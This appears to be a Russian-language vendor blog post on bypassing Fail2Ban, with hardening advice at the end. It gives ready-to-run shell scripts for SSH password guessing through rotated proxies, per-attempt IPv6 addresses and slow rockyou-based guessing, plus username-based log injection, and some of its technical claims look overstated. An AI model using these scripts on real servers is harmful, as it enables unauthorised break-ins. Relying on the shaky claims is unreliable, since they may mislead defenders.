
Обход Fail2Ban: 4 эксплойта, ломающих защиту Linux от brute-force
Fail2Ban защищает миллионы серверов. Вот 4 реальных эксплойта, которые обходят его полностью.
Кратко
- Ротация IP обходит трекинг по адресам через 1000+ прокси
- IPv6 /48 = 2^80 адресов, Fail2Ban банит по одному
- Инъекция логов отравляет regex-парсер через SSH-имена
- Медленный перебор ниже порога: 52 000 попыток/день незаметно
Что такое Fail2Ban?
Python-инструмент, мониторящий логи и блокирующий IP после неудачных входов. Установлен на миллионах Linux-серверов. Но современные атакующие обходят его легко.
Как это работает
Fail2Ban следит за логами (/var/log/auth.log или systemd journal) на паттерны типа "Failed password". Когда один IP превышает maxretry за findtime секунд, Fail2Ban добавляет правило iptables/nftables для блокировки IP на bantime секунд. Три параметра — вся ваша защита от brute-force.
# Логика проста:
# 1. Следить: /var/log/auth.log
# 2. Искать: "Failed password for .* from <HOST>"
# 3. Считать: если ошибок от <HOST> >= maxretry за findtime
# 4. Банить: iptables -I INPUT -s <HOST> -j REJECT
# 5. Разбанить: через bantime секунд удалить правило
# Конфиг по умолчанию (/etc/fail2ban/jail.conf):
[sshd]
enabled = true
maxretry = 5 # 5 ошибок допускается
findtime = 600 # за 10 минут
bantime = 600 # бан на 10 минутВы уязвимы? Проверьте сейчас
Выполните эти команды на сервере. Если хоть одна проверка не пройдена — вы под угрозой.
# 1. Fail2Ban вообще работает?
sudo fail2ban-client status
# 2. Текущие настройки
sudo fail2ban-client get sshd maxretry # по умолчанию 5 = слишком много
sudo fail2ban-client get sshd findtime # по умолчанию 600 = слишком мало
sudo fail2ban-client get sshd bantime # по умолчанию 600 = слишком мало
# 3. SSH принимает пароли? (должно быть NO)
grep -i "PasswordAuthentication" /etc/ssh/sshd_config
# 4. IPv6 открыт?
ss -tlnp | grep ":22"
# Если видите [::]:22 → IPv6 SSH открыт
# 5. Сколько IP забанено?
sudo fail2ban-client status sshdЕсли maxretry > 3, findtime < 3600 или PasswordAuthentication yes — вы уязвимы ко всем 4 эксплойтам ниже.
Эксплойт 1 — Ротация IP
Fail2Ban считает ошибки по IP. Распределите атаку по 1000 прокси — ни один IP не достигнет порога.
# Ротация IP через proxychains
for ip in $(cat proxy_list.txt); do
proxychains -f <(echo "socks5 $ip 1080") \
sshpass -p "pass123" ssh admin@target 2>/dev/null
done
# 1,000 IP × 4 попытки = 4,000 подборов, НОЛЬ бановЭксплойт 2 — Злоупотребление IPv6
Префикс /48 даёт 2^80 адресов. Fail2Ban банит отдельные /128 — бесполезно.
# Новый IPv6 для каждой попытки
PREFIX="2001:db8:abcd"
for i in $(seq 1 10000); do
ADDR="$PREFIX:$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2)"
ip -6 addr add "$ADDR/128" dev eth0
ssh -b "$ADDR" admin@target 2>/dev/null
ip -6 addr del "$ADDR/128" dev eth0
doneЭксплойт 3 — Инъекция логов
Fail2Ban парсит логи regex. Специальные SSH-имена внедряют фейковые записи, замораживают парсер или банят IP администратора.
# Фейковый "успешный вход" через SSH-имя
ssh 'admin\nMay 20 10:00:00 srv sshd[999]: Accepted password for root from 10.0.0.1'@target
# ReDoS — зависание Fail2Ban
ssh 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'@target
# Бан IP админа фейковой записью
ssh 'x\nMay 20 10:00:00 srv sshd[999]: Failed password for root from ADMIN_IP'@targetЭксплойт 4 — Медленный перебор
findtime по умолчанию 600с. Растяните попытки — счётчик сбрасывается. Полностью невидимо.
#!/bin/bash
while IFS= read -r pass; do
for user in root admin deploy; do
sshpass -p "$pass" ssh -o ConnectTimeout=5 $user@target 2>/dev/null
sleep 180
done
done < rockyou.txt
# 524/день/IP × 100 IP = 52,400 попыток/деньИсправление
Fail2Ban в одиночку недостаточен. Многоуровневая защита:
# 1. Отключить пароли
PasswordAuthentication no
# 2. Усилить Fail2Ban
[sshd]
maxretry = 3
findtime = 3600
bantime = 86400
filter = sshd[mode=aggressive]
# 3. Банить IPv6 /64
[DEFAULT]
ipv6_prefix = 64
# 4. Rate limit на файрволе
iptables -A INPUT -p tcp --dport 22 \
-m hashlimit --hashlimit-above 3/min \
--hashlimit-burst 5 --hashlimit-mode srcip \
--hashlimit-name ssh -j DROPSSH-ключи + усиленный Fail2Ban + rate limiting = brute-force невозможен.
Сканируйте с TEPTEZ. Найдите это раньше атакующих.
TEPTEZ автоматически находит слабые конфигурации Fail2Ban, открытые SSH и brute-force уязвимости. Попробуйте наш DAST AI — сканирует, находит и даёт готовое исправление.
Попробовать TEPTEZ